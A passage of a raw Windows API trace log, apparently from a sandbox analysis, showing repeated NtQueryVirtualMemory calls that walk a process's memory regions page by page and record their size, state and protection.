VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x64000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x25000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.848] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x65000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x65000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x24000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.848] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x66000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x66000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x23000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.848] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x67000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x67000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x22000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.848] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x68000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x68000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x21000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.848] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x69000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x69000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x20000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.848] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x6a000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x6a000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x1f000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.848] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x6b000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x6b000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x1e000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.848] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x6c000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x6c000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x1d000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.848] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x6d000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x6d000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x1c000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.848] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x6e000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x6e000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x1b000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.848] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x6f000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x6f000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x1a000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.848] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x70000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x70000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x19000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.848] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x71000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x71000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x18000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.848] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x72000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x72000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x17000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.848] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x73000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x73000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x16000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.848] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x74000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x74000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x15000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.848] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x75000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x75000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x14000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.848] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x76000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x76000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x13000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.848] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x77000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x77000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x12000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.848] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x78000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x78000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x11000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.848] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x79000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x79000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x10000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.848] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x7a000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x7a000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0xf000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.848] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x7b000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x7b000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0xe000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.848] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x7c000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x7c000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0xd000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.849] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x7d000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x7d000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0xc000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.849] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x7e000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x7e000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0xb000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.849] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x7f000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x7f000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0xa000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.849] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x80000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x80000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x9000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.849] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x81000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x81000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x8000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.849] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x82000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x82000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x7000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.849] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x83000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x83000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x6000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.849] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x84000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x84000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x5000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.849] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x85000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x85000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x4000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.849] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x86000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x86000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x3000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.849] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x87000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x87000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x2000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.849] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x88000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x88000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.849] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x89000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x89000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.849] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x8a000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x8a000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.849] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x8b000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x8b000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x104, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.849] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x8c000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x8c000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.849] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x8d000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x8d000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.849] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x8e000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x8e000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x4, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.849] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x8f000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x8f000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.849] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x90000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x90000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xfc000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.849] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x91000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x91000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xfb000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.849] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x92000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x92000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xfa000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.849] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x93000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x93000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xf9000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.850] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x94000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x94000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xf8000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.850] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x95000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x95000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xf7000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.850] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x96000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x96000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xf6000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.850] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x97000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x97000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xf5000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.850] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x98000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x98000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xf4000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.850] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x99000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x99000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xf3000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.850] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x9a000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x9a000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xf2000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.850] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x9b000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x9b000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xf1000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.850] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x9c000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x9c000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xf0000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.850] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x9d000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x9d000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xef000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.850] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x9e000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x9e000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xee000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.850] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x9f000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x9f000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xed000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.850] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xa0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0xa0000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xec000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.850] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xa1000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0xa1000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xeb000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.850] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xa2000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0xa2000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xea000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.850] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xa3000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0xa3000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xe9000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.850] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xa4000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0xa4000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xe8000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.850] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xa5000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0xa5000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xe7000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.850] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xa6000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0xa6000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xe6000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.850] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xa7000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0xa7000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xe5000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.850] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xa8000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0xa8000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xe4000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.850] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xa9000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0xa9000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xe3000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.850] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xaa000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0xaa000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xe2000, 